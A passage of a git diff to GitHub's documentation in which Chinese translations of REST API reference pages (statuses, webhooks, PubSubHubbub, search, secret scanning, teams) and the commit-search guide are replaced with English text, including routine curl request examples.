UI. -一种常见用例是持续集成服务使用状态将提交标记为构建成功或失败。 `target_url` 是构建输出的完整 URL，`description` 是关于构建过程中所发生情况的高级摘要。 +As an example, one common use is for continuous integration +services to mark commits as passing or failing builds using status. The +`target_url` would be the full URL to the build output, and the +`description` would be the high level summary of what happened with the +build. -状态可以包括 `context` 以指示提供该状态的服务是什么。 例如，您可以让持续集成服务推送上下文为 `ci` 的状态，让安全审核工具推送上下文为 `security` 的状态。 然后，您可以使用[获取特定引用的组合状态](/rest/reference/repos#get-the-combined-status-for-a-specific-reference)来检索提交的整个状态。 +Statuses can include a `context` to indicate what service is providing that status. +For example, you may have your continuous integration service push statuses with a context of `ci`, and a security audit tool push statuses with a context of `security`. You can +then use the [Get the combined status for a specific reference](/rest/reference/repos#get-the-combined-status-for-a-specific-reference) to retrieve the whole status for a commit. -请注意，`repo:status` [OAuth 作用域](/developers/apps/scopes-for-oauth-apps)授予对状态的定向访问权限，但**不**授予对仓库代码的访问权限，而 `repo` 作用域同时授予对代码和状态的权限。 +Note that the `repo:status` [OAuth scope](/developers/apps/scopes-for-oauth-apps) grants targeted access to statuses **without** also granting access to repository code, while the +`repo` scope grants permission to code as well as statuses. -如果您正在开发 GitHub 应用程序，希望提供有关外部服务的更多信息，则可能需要使用[检查 API](/rest/reference/checks)。 +If you are developing a GitHub App and want to provide more detailed information about an external service, you may want to use the [Checks API](/rest/reference/checks). {% for operation in currentRestOperations %} {% if operation.subcategory == 'statuses' %}{% include rest_operation %}{% endif %} {% endfor %} {% ifversion fpt or ghec %} -## 流量 +## Traffic -对于您具有推送权限的仓库，流量 API 提供对仓库图中所示信息的访问权限。 更多信息请参阅“查看仓库的流量”。 +For repositories that you have push access to, the traffic API provides access +to the information provided in your repository graph. For more information, see "Viewing traffic to a repository." {% for operation in currentRestOperations %} {% if operation.subcategory == 'traffic' %}{% include rest_operation %}{% endif %} {% endfor %} {% endif %} -## Web 挂钩 +## Webhooks -仓库 web 挂钩允许您在仓库内发生特定事件时接收 HTTP `POST` 有效负载。 {% data reusables.webhooks.webhooks-rest-api-links %} +Repository webhooks allow you to receive HTTP `POST` payloads whenever certain events happen in a repository. {% data reusables.webhooks.webhooks-rest-api-links %} -如果您要设置一个 web 挂钩来接收来自组织所有仓库的事件，请参阅关于[组织 web 挂钩](/rest/reference/orgs#webhooks)的 API 文档。 +If you would like to set up a single webhook to receive events from all of your organization's repositories, see our API documentation for [Organization Webhooks](/rest/reference/orgs#webhooks). -除了 REST API 之外， {% data variables.product.prodname_dotcom %} 还可以作为仓库的 [PubSubHubbub](#pubsubhubbub) 枢纽。 +In addition to the REST API, {% data variables.product.prodname_dotcom %} can also serve as a [PubSubHubbub](#pubsubhubbub) hub for repositories. {% for operation in currentRestOperations %} {% if operation.subcategory == 'webhooks' %}{% include rest_operation %}{% endif %} {% endfor %} -### 接收 web 挂钩 +### Receiving Webhooks -为了让 {% data variables.product.product_name %} 发送 web 挂钩有效负载，您的服务器需要能够从 Internet 访问。 我们还强烈建议使用 SSL，以便我们可以通过 HTTPS 发送加密的有效负载。 +In order for {% data variables.product.product_name %} to send webhook payloads, your server needs to be accessible from the Internet. We also highly suggest using SSL so that we can send encrypted payloads over HTTPS. -#### Web 挂钩标头 +#### Webhook headers -{% data variables.product.product_name %} 发送时将附带几个 HTTP 标头，以区分事件类型和有效负载标识符。 更多信息请参阅 [web 挂钩标头](/developers/webhooks-and-events/webhook-events-and-payloads#delivery-headers)。 +{% data variables.product.product_name %} will send along several HTTP headers to differentiate between event types and payload identifiers. See [webhook headers](/developers/webhooks-and-events/webhook-events-and-payloads#delivery-headers) for details. ### PubSubHubbub -GitHub 还可以作为所有仓库的 [PubSubHubbabub](https://github.com/pubsubhubbub/PubSubHubbub) 枢纽。 PSHB 是一个简单的发布/订阅协议，允许服务器注册在主题更新时接收更新。 这些更新随 HTTP POST 请求一起发送到回调 URL。 GitHub 仓库推送的主题 URL 采用以下格式： +GitHub can also serve as a [PubSubHubbub](https://github.com/pubsubhubbub/PubSubHubbub) hub for all repositories. PSHB is a simple publish/subscribe protocol that lets servers register to receive updates when a topic is updated. The updates are sent with an HTTP POST request to a callback URL. +Topic URLs for a GitHub repository's pushes are in this format: `https://github.com/{owner}/{repo}/events/{event}` -事件可以是任何可用的 web 挂钩事件。 更多信息请参阅“[web 挂钩事件和有效负载](/developers/webhooks-and-events/webhook-events-and-payloads)”。 +The event can be any available webhook event. For more information, see "[Webhook events and payloads](/developers/webhooks-and-events/webhook-events-and-payloads)." -#### 响应格式 +#### Response format -默认格式为[现有接收后挂钩应具有的格式](/post-receive-hooks/)：作为 POST 中的 `payload` 参数发送的 JSON 正文。 您还可以指定接收带有 `Accept` 标头或 `.json` 扩展名的原始 JSON 正文。 +The default format is what [existing post-receive hooks should expect](/post-receive-hooks/): A JSON body sent as the `payload` parameter in a POST. You can also specify to receive the raw JSON body with either an `Accept` header, or a `.json` extension. Accept: application/json https://github.com/{owner}/{repo}/events/push.json -#### 回调 URL +#### Callback URLs -回调 URL 可以使用 `http://` 协议。 +Callback URLs can use the `http://` protocol. # Send updates to postbin.org http://postbin.org/123 -#### 订阅 +#### Subscribing -GitHub PubSubHubbub 端点为：`{% data variables.product.api_url_code %}/hub`。 使用 cURL 的成功请求如下所示： +The GitHub PubSubHubbub endpoint is: `{% data variables.product.api_url_code %}/hub`. A successful request with curl looks like: ``` shell curl -u "user" -i \ @@ -362,13 +382,13 @@ curl -u "user" -i \ -F "hub.callback=http://postbin.org/123" ``` -PubSubHubbub 请求可以多次发送。 如果挂钩已经存在，它将根据请求进行修改。 +PubSubHubbub requests can be sent multiple times. If the hook already exists, it will be modified according to the request. -##### 参数 +##### Parameters -| 名称 | 类型 | 描述 | -| -------------- | ----- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `hub.mode` | `字符串` | **必填**。 值为 `subscribe` 或 `unsubscribe`。 | -| `hub.topic` | `字符串` | **必填**。 要订阅的 GitHub 仓库的 URI。 路径格式必须为 `/{owner}/{repo}/events/{event}`。 | -| `hub.callback` | `字符串` | 要接收主题更新的 URI。 | -| `hub.secret` | `字符串` | 用于生成传出正文内容的哈希签名的共享密钥。 您可以通过比较原始请求正文与 {% ifversion fpt or ghes > 2.22 or ghec %}`X-Hub-Signature` 或 `X-Hub-Signature-256` 标头{% elsif ghes < 3.0 %}`X-Hub-Signature` 标头{% elsif ghae %}`X-Hub-Signature-256` 标头{% endif %} 的内容来验证来自 GitHub 的推送。 您可以查看 [PubSubHubbub 文档](https://pubsubhubbub.github.io/PubSubHubbub/pubsubhubbub-core-0.4.html#authednotify)了解详情。 | +Name | Type | Description +-----|------|-------------- +``hub.mode``|`string` | **Required**. Either `subscribe` or `unsubscribe`. +``hub.topic``|`string` |**Required**. The URI of the GitHub repository to subscribe to. The path must be in the format of `/{owner}/{repo}/events/{event}`. +``hub.callback``|`string` | The URI to receive the updates to the topic. +``hub.secret``|`string` | A shared secret key that generates a hash signature of the outgoing body content. You can verify a push came from GitHub by comparing the raw request body with the contents of the {% ifversion fpt or ghes > 2.22 or ghec %}`X-Hub-Signature` or `X-Hub-Signature-256` headers{% elsif ghes < 3.0 %}`X-Hub-Signature` header{% elsif ghae %}`X-Hub-Signature-256` header{% endif %}. You can see [the PubSubHubbub documentation](https://pubsubhubbub.github.io/PubSubHubbub/pubsubhubbub-core-0.4.html#authednotify) for more details. diff --git a/translations/zh-CN/content/rest/reference/search.md b/translations/zh-CN/content/rest/reference/search.md index 42aa248bb4..99d4a14e4f 100644 --- a/translations/zh-CN/content/rest/reference/search.md +++ b/translations/zh-CN/content/rest/reference/search.md @@ -1,6 +1,6 @@ --- -title: 搜索 -intro: '{% data variables.product.product_name %} 搜索 API 允许您高效地搜索特定项目。' +title: Search +intro: 'The {% data variables.product.product_name %} Search API lets you to search for the specific item efficiently.' redirect_from: - /v3/search versions: @@ -13,109 +13,125 @@ topics: miniTocMaxHeadingLevel: 3 --- -搜索 API 可帮助您搜索要查找的特定条目。 例如，您可以在仓库中找到用户或特定文件。 就像您在 Google 上执行搜索一样。 它旨在帮助您找到要查找的一个或几个结果。 就像在 Google 上搜索一样，有时您希望查看几页搜索结果，以便找到最能满足您需求的条目。 为了满足这一需求， {% data variables.product.product_name %} 搜索 API **为每个搜索提供最多 1,000 个结果**。 +The Search API helps you search for the specific item you want to find. For example, you can find a user or a specific file in a repository. Think of it the way you think of performing a search on Google. It's designed to help you find the one result you're looking for (or maybe the few results you're looking for). Just like searching on Google, you sometimes want to see a few pages of search results so that you can find the item that best meets your needs. To satisfy that need, the {% data variables.product.product_name %} Search API provides **up to 1,000 results for each search**. -您可以使用查询缩小搜索范围。 要了解有关搜索查询语法的更多信息，请查看“[构建搜索查询](/rest/reference/search#constructing-a-search-query)”。 +You can narrow your search using queries. To learn more about the search query syntax, see "[Constructing a search query](/rest/reference/search#constructing-a-search-query)." -### 排列搜索结果 +### Ranking search results -除非提供另一个排序选项作为查询参数，否则将按照最佳匹配的原则对结果进行降序排列。 多种因素相结合，将最相关的条目顶到结果列表的顶部。 +Unless another sort option is provided as a query parameter, results are sorted by best match in descending order. Multiple factors are combined to boost the most relevant item to the top of the result list. -### 速率限制 +### Rate limit -搜索 API 有自定义速率限制。 对于使用[基本身份验证](/rest#authentication)、[OAuth](/rest#authentication) 或[客户端 ID 和密码](/rest#increasing-the-unauthenticated-rate-limit-for-oauth-applications)的请求，您每分钟最多可以提出 30 个请求。 对于未经身份验证的请求，速率限制允许您每分钟最多提出 10 个请求。 +The Search API has a custom rate limit. For requests using [Basic +Authentication](/rest#authentication), [OAuth](/rest#authentication), or [client +ID and secret](/rest#increasing-the-unauthenticated-rate-limit-for-oauth-applications), you can make up to +30 requests per minute. For unauthenticated requests, the rate limit allows you +to make up to 10 requests per minute. {% data reusables.enterprise.rate_limit %} -请参阅[速率限制文档](/rest/reference/rate-limit)，以详细了解如何确定您的当前速率限制状态。 +See the [rate limit documentation](/rest/reference/rate-limit) for details on +determining your current rate limit status. -### 构造搜索查询 +### Constructing a search query -搜索 API 中的每个端点都使用[查询参数](https://en.wikipedia.org/wiki/Query_string)对 {% data variables.product.product_name %} 进行搜索。 有关包含端点和查询参数的示例，请参阅搜索 API 中的各个端点。 +Each endpoint in the Search API uses [query parameters](https://en.wikipedia.org/wiki/Query_string) to perform searches on {% data variables.product.product_name %}. See the individual endpoint in the Search API for an example that includes the endpoint and query parameters. -查询可以包含在 {% data variables.product.product_name %} 上支持的搜索限定符的任意组合中。 搜索查询的格式为： +A query can contain any combination of search qualifiers supported on {% data variables.product.product_name %}. The format of the search query is: ``` SEARCH_KEYWORD_1 SEARCH_KEYWORD_N QUALIFIER_1 QUALIFIER_N ``` -例如，如果您要搜索 `defunkt` 拥有的在自述文件中包含单词 `GitHub` 和 `Octocat` 的所有_仓库_，您可以在_搜索仓库_端点中使用以下查询： +For example, if you wanted to search for all _repositories_ owned by `defunkt` that +contained the word `GitHub` and `Octocat` in the README file, you would use the +following query with the _search repositories_ endpoint: ``` GitHub Octocat in:readme user:defunkt ``` -**注意：** 请务必使用语言的首选 HTML 编码器构造查询字符串。 例如： +**Note:** Be sure to use your language's preferred HTML-encoder to construct your query strings. For example: ```javascript // JavaScript const queryString = 'q=' + encodeURIComponent('GitHub Octocat in:readme user:defunkt'); ``` -有关可用限定符及其格式的完整列表和使用示例，请参阅“[在 GitHub 上搜索](/articles/searching-on-github/)”。 有关如何使用运算符匹配特定数量、日期或排除结果，请参阅“[了解搜索语法](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax/)”。 +See "[Searching on GitHub](/articles/searching-on-github/)" +for a complete list of available qualifiers, their format, and an example of +how to use them. For information about how to use operators to match specific +quantities, dates, or to exclude results, see "[Understanding the search syntax](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax/)." -### 查询长度限制 +### Limitations on query length -搜索 API 不支持以下查询： -- 超过 256 个字符（不包括运算符或限定符）。 -- 超过五个 `AND`、`OR` 或 `NOT` 运算符。 +The Search API does not support queries that: +- are longer than 256 characters (not including operators or qualifiers). +- have more than five `AND`, `OR`, or `NOT` operators. -这些搜索查询将返回“验证失败”错误消息。 +These search queries will return a "Validation failed" error message. -### 超时和不完整的结果 +### Timeouts and incomplete results -为了让所有人都能快速使用搜索 API，我们限制任何单个查询能够运行的时长。 对于[超出时间限制](https://developer.github.com/changes/2014-04-07-understanding-search-results-and-potential-timeouts/)的查询，API 将返回在超时之前已找到的匹配项，并且响应的 `incomplete_results` 属性设为 `true`。 +To keep the Search API fast for everyone, we limit how long any individual query +can run. For queries that [exceed the time limit](https://developer.github.com/changes/2014-04-07-understanding-search-results-and-potential-timeouts/), +the API returns the matches that were already found prior to the timeout, and +the response has the `incomplete_results` property set to `true`. -达到超时并不意味着搜索结果不完整， 可能已找到更多结果，也可能没有找到。 +Reaching a timeout does not necessarily mean that search results are incomplete. +More results might have been found, but also might not. -### 访问错误或缺少搜索结果 +### Access errors or missing search results -您需要成功完成身份验证并且对您搜索查询的仓库具有访问权限，否则，您将看到 `422 Unprocessible Entry` 错误和“验证失败”消息。 例如，如果您的查询中包含 `repo:`、`user:` 或 `org:` 限定符，但它们请求的资源是您登录 {% data variables.product.prodname_dotcom %} 后无权访问的资源，则搜索将失败。 +You need to successfully authenticate and have access to the repositories in your search queries, otherwise, you'll see a `422 Unprocessable Entry` error with a "Validation Failed" message. For example, your search will fail if your query includes `repo:`, `user:`, or `org:` qualifiers that request resources that you don't have access to when you sign in on {% data variables.product.prodname_dotcom %}. -当您的搜索查询请求多个资源时，响应将只包含您有权访问的资源，并且**不会**提供列出未返回资源的错误消息。 +When your search query requests multiple resources, the response will only contain the resources that you have access to and will **not** provide an error message listing the resources that were not returned. -例如，如果您的搜索查询要搜索 `octocat/test` 和 `codertocat/test` 仓库，但您只拥有对 `octocat/test` 的访问权限，则您的响应将显示对 `octocat/test` 的搜索结果，而不会显示对 `codertocat/test` 的搜索结果。 此行为类似于 {% data variables.product.prodname_dotcom %} 上的搜索方式。 +For example, if your search query searches for the `octocat/test` and `codertocat/test` repositories, but you only have access to `octocat/test`, your response will show search results for `octocat/test` and nothing for `codertocat/test`. This behavior mimics how search works on {% data variables.product.prodname_dotcom %}. {% include rest_operations_at_current_path %} -### 文本匹配元数据 +### Text match metadata -在 GitHub 上，您可以使用搜索结果中的代码段和高亮显示提供的上下文。 搜索 API 提供额外的元数据，允许您在显示搜索结果时高亮显示匹配搜索词。 +On GitHub, you can use the context provided by code snippets and highlights in search results. The Search API offers additional metadata that allows you to highlight the matching search terms when displaying search results. -![代码片段高亮显示](/assets/images/text-match-search-api.png) +![code-snippet-highlighting](/assets/images/text-match-search-api.png) -请求可以选择在响应中接收这些文本片段，并且每个片段都附带数字偏移，以标识每个匹配搜索词的确切位置。 +Requests can opt to receive those text fragments in the response, and every fragment is accompanied by numeric offsets identifying the exact location of each matching search term. -要在搜索结果中获取这种元数据，请在 `Accept` 标头中指定 `text-match` 媒体类型。 +To get this metadata in your search results, specify the `text-match` media type in your `Accept` header. ```shell application/vnd.github.v3.text-match+json ``` -提供 `text-match` 媒体类型时，您将在 JSON 有效负载中收到一个额外的键，名为 `text_matches`，它提供有关搜索词在文本中的位置以及包含该搜索词的 `property` 的信息。 在 `text_matches` 数组中，每个对象包含以下属性： +When you provide the `text-match` media type, you will receive an extra key in the JSON payload called `text_matches` that provides information about the position of your search terms within the text and the `property` that includes the search term. Inside the `text_matches` array, each object includes +the following attributes: -| 名称 | 描述 | -| ------------- | -------------------------------------------------------------------------------------------------------- | -| `object_url` | 包含匹配某个搜索词的字符串属性的资源 URL。 | -| `object_type` | 在给定 `object_url` 中存在的资源类型的名称。 | -| `属性` | 在 `object_url` 中存在的资源属性的名称。 属性是与某个搜索词相匹配的字符串。 （在从 `object_url` 返回的 JSON 中，`fragment` 的完整内容存在于具有此名称的属性中。） | -| `分段` | `property` 值的子集。 这是与一个或多个搜索词匹配的文本片段。 | -| `matches` | 存在于 `fragment` 中的一个或多个搜索词的数组。 索引（即“偏移量”）与片段相关。 （它们与 `property` 的_完整_内容无关。） | +Name | Description +-----|-----------| +`object_url` | The URL for the resource that contains a string property matching one of the search terms. +`object_type` | The name for the type of resource that exists at the given `object_url`. +`property` | The name of a property of the resource that exists at `object_url`. That property is a string that matches one of the search terms. (In the JSON returned from `object_url`, the full content for the `fragment` will be found in the property with this name.) +`fragment` | A subset of the value of `property`. This is the text fragment that matches one or more of the search terms. +`matches` | An array of one or more search terms that are present in `fragment`. The indices (i.e., "offsets") are relative to the fragment. (They are not relative to the _full_ content of `property`.) -#### 示例 +#### Example -使用 cURL 和上面的[示例议题搜索](#search-issues-and-pull-requests)时，我们的 API 请求如下所示： +Using cURL, and the [example issue search](#search-issues-and-pull-requests) above, our API +request would look like this: ``` shell curl -H 'Accept: application/vnd.github.v3.text-match+json' \ '{% data variables.product.api_url_pre %}/search/issues?q=windows+label:bug+language:python+state:open&sort=created&order=asc' ``` -对于每个搜索结果，响应将包含一个 `text_matches` 数组。 在下面的 JSON 中，我们在 `text_matches` 数组中有两个对象。 +The response will include a `text_matches` array for each search result. In the JSON below, we have two objects in the `text_matches` array. -第一个文本匹配出现在议题的 `body` 属性中。 我们从议题正文中看到了文本片段。 搜索词 (`windows`) 在该片段中出现了两次，我们有每次出现时的索引。 +The first text match occurred in the `body` property of the issue. We see a fragment of text from the issue body. The search term (`windows`) appears twice within that fragment, and we have the indices for each occurrence. -第二个文本匹配出现在其中一个议题注释的 `body` 属性中。 我们有议题注释的 URL。 当然，我们从注释正文中看到了文本片段。 搜索词 (`windows`) 在该片段中出现了一次。 +The second text match occurred in the `body` property of one of the issue's comments. We have the URL for the issue comment. And of course, we see a fragment of text from the comment body. The search term (`windows`) appears once within that fragment. ```json { diff --git a/translations/zh-CN/content/rest/reference/secret-scanning.md b/translations/zh-CN/content/rest/reference/secret-scanning.md index 83967c343c..d3fd555101 100644 --- a/translations/zh-CN/content/rest/reference/secret-scanning.md +++ b/translations/zh-CN/content/rest/reference/secret-scanning.md @@ -1,6 +1,6 @@ --- -title: 秘密扫描 -intro: 要检索和更新来自私有仓库的秘密警报，您可以使用秘密扫描 API。 +title: Secret scanning +intro: 'To retrieve and update the secret alerts from a private repository, you can use Secret Scanning API.' versions: fpt: '*' ghes: '>=3.1' @@ -11,6 +11,12 @@ miniTocMaxHeadingLevel: 3 {% data reusables.secret-scanning.api-beta %} -{% data variables.product.prodname_secret_scanning %} API 可让您从 {% ifversion fpt or ghec %}私有 {% endif %}仓库检索和更新密钥扫描警报。 有关密钥扫描更多信息，请参阅“[关于密钥扫描](/code-security/secret-security/about-secret-scanning)”。 +The {% data variables.product.prodname_secret_scanning %} API lets you{% ifversion fpt or ghec or ghes > 3.1 or ghae-next %}: + +- Enable or disable {% data variables.product.prodname_secret_scanning %} for a repository. For more information, see "[Repositories](/rest/reference/repos#update-a-repository)" in the REST API documentation. +- Retrieve and update {% data variables.product.prodname_secret_scanning %} alerts from a {% ifversion fpt or ghec %}private {% endif %}repository. For futher details, see the sections below. +{%- else %} retrieve and update {% data variables.product.prodname_secret_scanning %} alerts from a {% ifversion fpt or ghec %}private {% endif %}repository.{% endif %} + +For more information about {% data variables.product.prodname_secret_scanning %}, see "[About {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/about-secret-scanning)." {% include rest_operations_at_current_path %} diff --git a/translations/zh-CN/content/rest/reference/teams.md b/translations/zh-CN/content/rest/reference/teams.md index 52ad87b814..2e05e37ba8 100644 --- a/translations/zh-CN/content/rest/reference/teams.md +++ b/translations/zh-CN/content/rest/reference/teams.md @@ -1,6 +1,6 @@ --- -title: 团队 -intro: '通过团队 API，您可以在您的 {% data variables.product.product_name %} 组织中创建和管理团队。' +title: Teams +intro: 'With the Teams API, you can create and manage teams in your {% data variables.product.product_name %} organization.' redirect_from: - /v3/teams versions: @@ -13,36 +13,36 @@ topics: miniTocMaxHeadingLevel: 3 --- -此 API 仅适用于团队[组织](/rest/reference/orgs)中经过身份验证的成员。 OAuth 访问令牌需要 `read:org` [scope](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/)。 {% data variables.product.prodname_dotcom %} 从团队 `name` 生成团队的 `slug`。 +This API is only available to authenticated members of the team's [organization](/rest/reference/orgs). OAuth access tokens require the `read:org` [scope](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/). {% data variables.product.prodname_dotcom %} generates the team's `slug` from the team `name`. {% for operation in currentRestOperations %} {% unless operation.subcategory %}{% include rest_operation %}{% endunless %} {% endfor %} -## 讨论 +## Discussions -团队讨论 API 允许您获取、创建、编辑和删除团队页面上的讨论帖子。 您可以使用团队讨论进行不特定于存储库或项目的对话。 团队[组织](/rest/reference/orgs)的任何成员都可以创建和阅读公共讨论帖子。 更多信息请参阅“[关于团队讨论](//organizations/collaborating-with-your-team/about-team-discussions/)”。 要详细了解对讨论帖子的评论，请参阅[团队讨论评论 API](/rest/reference/teams#discussion-comments)。 此 API 仅适用于团队组织中经过身份验证的成员。 +The team discussions API allows you to get, create, edit, and delete discussion posts on a team's page. You can use team discussions to have conversations that are not specific to a repository or project. Any member of the team's [organization](/rest/reference/orgs) can create and read public discussion posts. For more details, see "[About team discussions](//organizations/collaborating-with-your-team/about-team-discussions/)." To learn more about commenting on a discussion post, see the [team discussion comments API](/rest/reference/teams#discussion-comments). This API is only available to authenticated members of the team's organization. {% for operation in currentRestOperations %} {% if operation.subcategory == 'discussions' %}{% include rest_operation %}{% endif %} {% endfor %} -## 讨论评论 +## Discussion comments -团队讨论评论 API 允许您在[团队讨论](/rest/reference/teams#discussions)帖子上获取、 创建、编辑和删除讨论评论。 团队[组织](/rest/reference/orgs)的任何成员都可以创建和阅读公共讨论上的评论。 更多信息请参阅“[关于团队讨论](/organizations/collaborating-with-your-team/about-team-discussions/)”。 此 API 仅适用于团队组织中经过身份验证的成员。 +The team discussion comments API allows you to get, create, edit, and delete discussion comments on a [team discussion](/rest/reference/teams#discussions) post. Any member of the team's [organization](/rest/reference/orgs) can create and read comments on a public discussion. For more details, see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions/)." This API is only available to authenticated members of the team's organization. {% for operation in currentRestOperations %} {% if operation.subcategory == 'discussion-comments' %}{% include rest_operation %}{% endif %} {% endfor %} -## 成员 +## Members -此 API 仅适用于团队组织中经过身份验证的成员。 OAuth 访问令牌需要 `read:org` [scope](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/)。 +This API is only available to authenticated members of the team's organization. OAuth access tokens require the `read:org` [scope](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/). {% ifversion fpt or ghes or ghec %} {% note %} -**注：**当您为具有组织身份提供程序 (IdP) 的团队设置了团队同步时，如果尝试使用 API 更改团队的成员身份，则会看到错误。 如果您有权访问 IdP 中的组成员身份，可以通过身份提供程序管理 GitHub 团队成员身份，该提供程序会自动添加和删除组织的成员。 更多信息请参阅“在身份提供程序与 GitHub 之间同步团队”。 +**Note:** When you have team synchronization set up for a team with your organization's identity provider (IdP), you will see an error if you attempt to use the API for making changes to the team's membership. If you have access to manage group membership in your IdP, you can manage GitHub team membership through your identity provider, which automatically adds and removes team members in an organization. For more information, see "Synchronizing teams between your identity provider and GitHub." {% endnote %} @@ -52,21 +52,23 @@ miniTocMaxHeadingLevel: 3 {% if operation.subcategory == 'members' %}{% include rest_operation %}{% endif %} {% endfor %} -{% ifversion ghec %} +{% ifversion ghec or ghae %} ## External groups The external groups API allows you to view the external identity provider groups that are available to your organization and manage the connection between external groups and teams in your organization. -要使用此 API，经过身份验证的用户必须是团队维护员或与团队关联的组织的所有者。 +To use this API, the authenticated user must be a team maintainer or an owner of the organization associated with the team. +{% ifversion ghec %} {% note %} -**注意：** +**Notes:** - The external groups API is only available for organizations that are part of a enterprise using {% data variables.product.prodname_emus %}. For more information, see "[About Enterprise Managed Users](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)." - If your organization uses team synchronization, you can use the Team Synchronization API. For more information, see "[Team synchronization API](#team-synchronization)." {% endnote %} +{% endif %} {% for operation in currentRestOperations %} {% if operation.subcategory == 'external-groups' %}{% include rest_operation %}{% endif %} @@ -75,15 +77,15 @@ The external groups API allows you to view the external identity provider groups {% endif %} {% ifversion fpt or ghes or ghec %} -## 团队同步 +## Team synchronization -团队同步 API 允许您管理 {% data variables.product.product_name %} 团队与外部身份提供程序 (IdP) 组之间的连接。 要使用此 API，经过身份验证的用户必须是团队维护员或与团队关联的组织的所有者。 用于身份验证的令牌还需要获得授权才能与 IdP (SSO) 提供程序一起使用。 更多信息请参阅“授权个人访问令牌用于 SAML 单点登录组织”。 +The Team Synchronization API allows you to manage connections between {% data variables.product.product_name %} teams and external identity provider (IdP) groups. To use this API, the authenticated user must be a team maintainer or an owner of the organization associated with the team. The token you use to authenticate will also need to be authorized for use with your IdP (SSO) provider. For more information, see "Authorizing a personal access token for use with a SAML single sign-on organization." -您可以通过 IdP 通过团队同步管理 GitHub 团队成员。 必须启用团队同步才能使用团队同步 API。 更多信息请参阅“在身份提供程序与 GitHub 之间同步团队”。 +You can manage GitHub team members through your IdP with team synchronization. Team synchronization must be enabled to use the Team Synchronization API. For more information, see "Synchronizing teams between your identity provider and GitHub." {% note %} -**注意：** 团队同步 API 不能与 {% data variables.product.prodname_emus %} 一起使用。 To learn more about managing an {% data variables.product.prodname_emu_org %}, see "[External groups API](/enterprise-cloud@latest/rest/reference/teams#external-groups)". +**Note:** The Team Synchronization API cannot be used with {% data variables.product.prodname_emus %}. To learn more about managing an {% data variables.product.prodname_emu_org %}, see "[External groups API](/enterprise-cloud@latest/rest/reference/teams#external-groups)". {% endnote %} diff --git a/translations/zh-CN/content/search-github/searching-on-github/searching-commits.md b/translations/zh-CN/content/search-github/searching-on-github/searching-commits.md index e47855eb2f..e7f31a7604 100644 --- a/translations/zh-CN/content/search-github/searching-on-github/searching-commits.md +++ b/translations/zh-CN/content/search-github/searching-on-github/searching-commits.md @@ -1,6 +1,6 @@ --- -title: 搜索提交 -intro: '您可以在 {% data variables.product.product_name %} 上搜索提交，并使用这些提交搜索限定符的任意组合缩小结果范围。' +title: Searching commits +intro: 'You can search for commits on {% data variables.product.product_name %} and narrow the results using these commit search qualifiers in any combination.' redirect_from: - /articles/searching-commits - /github/searching-for-information-on-github/searching-commits @@ -13,100 +13,109 @@ versions: topics: - GitHub search --- +You can search for commits globally across all of {% data variables.product.product_name %}, or search for commits within a particular repository or organization. For more information, see "[About searching on {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)." -您可以在所有 {% data variables.product.product_name %} 内全局搜索提交，也可以在特定仓库或组织内搜索提交。 更多信息请参阅“[关于在 {% data variables.product.company_short %} 上搜索](/search-github/getting-started-with-searching-on-github/about-searching-on-github)”。 - -当您搜索提交时，仅搜索仓库的[默认分支](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches)。 +When you search for commits, only the [default branch](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches) of a repository is searched. {% data reusables.search.syntax_tips %} -## 在提交消息内搜索 +## Search within commit messages -您可以在消息中查找包含特定字词的提交。 例如，[**fix typo**](https://github.com/search?q=fix+typo&type=Commits) 匹配包含 "fix" 和 "typo" 字样的提交。 +You can find commits that contain particular words in the message. For example, [**fix typo**](https://github.com/search?q=fix+typo&type=Commits) matches commits containing the words "fix" and "typo." -## 按作者或提交者搜索 +## Search by author or committer -您可以使用 `author` 或 `committer` 限定符按特定用户查找提交。 +You can find commits by a particular user with the `author` or `committer` qualifiers. -| 限定符 | 示例 | -| ------------------------- | -------------------------------------------------------------------------------------------------------- | -| author:USERNAME | [**author:defunkt**](https://github.com/search?q=author%3Adefunkt&type=Commits) 匹配 @defunkt 创作的提交。 | -| committer:USERNAME | [**committer:defunkt**](https://github.com/search?q=committer%3Adefunkt&type=Commits) 匹配 @defunkt 提交的提交。 | +| Qualifier | Example +| ------------- | ------------- +| author:USERNAME | [**author:defunkt**](https://github.com/search?q=author%3Adefunkt&type=Commits) matches commits authored by @defunkt. +| committer:USERNAME | [**committer:defunkt**](https://github.com/search?q=committer%3Adefunkt&type=Commits) matches commits committed by @defunkt. -`author-name` 和 `committer-name` 限定符匹配按作者或提交者姓名的提交。 +The `author-name` and `committer-name` qualifiers match commits by the name of the author or committer. -| 限定符 | 示例 | -| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------- | -| author-name:NAME | [**author-name:wanstrath**](https://github.com/search?q=author-name%3Awanstrath&type=Commits) 匹配作者姓名中包含 "wanstrath" 的提交。 | -| committer-name:NAME | [**committer-name:wanstrath**](https://github.com/search?q=committer-name%3Awanstrath&type=Commits) 匹配提交者姓名中包含 "wanstrath" 的提交。 | +| Qualifier | Example +| ------------- | ------------- +| author-name:NAME | [**author-name:wanstrath**](https://github.com/search?q=author-name%3Awanstrath&type=Commits) matches commits with "wanstrath" in the author name. +| committer-name:NAME | [**committer-name:wanstrath**](https://github.com/search?q=committer-name%3Awanstrath&type=Commits) matches commits with "wanstrath" in the committer name. -`author-email` 和 `committer-email` 限定符按作者或提交者的完整电子邮件地址匹配提交。 +The `author-email` and `committer-email` qualifiers match commits by the author's or committer's full email address. -| 限定符 | 示例 | -| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------ | -| author-email:EMAIL | [**author-email:chris@github.com**](https://github.com/search?q=author-email%3Achris%40github.com&type=Commits) 匹配 chris@github.com 创作的提交。 | -| committer-email:EMAIL | [**committer-email:chris@github.com**](https://github.com/search?q=committer-email%3Achris%40github.com&type=Commits) 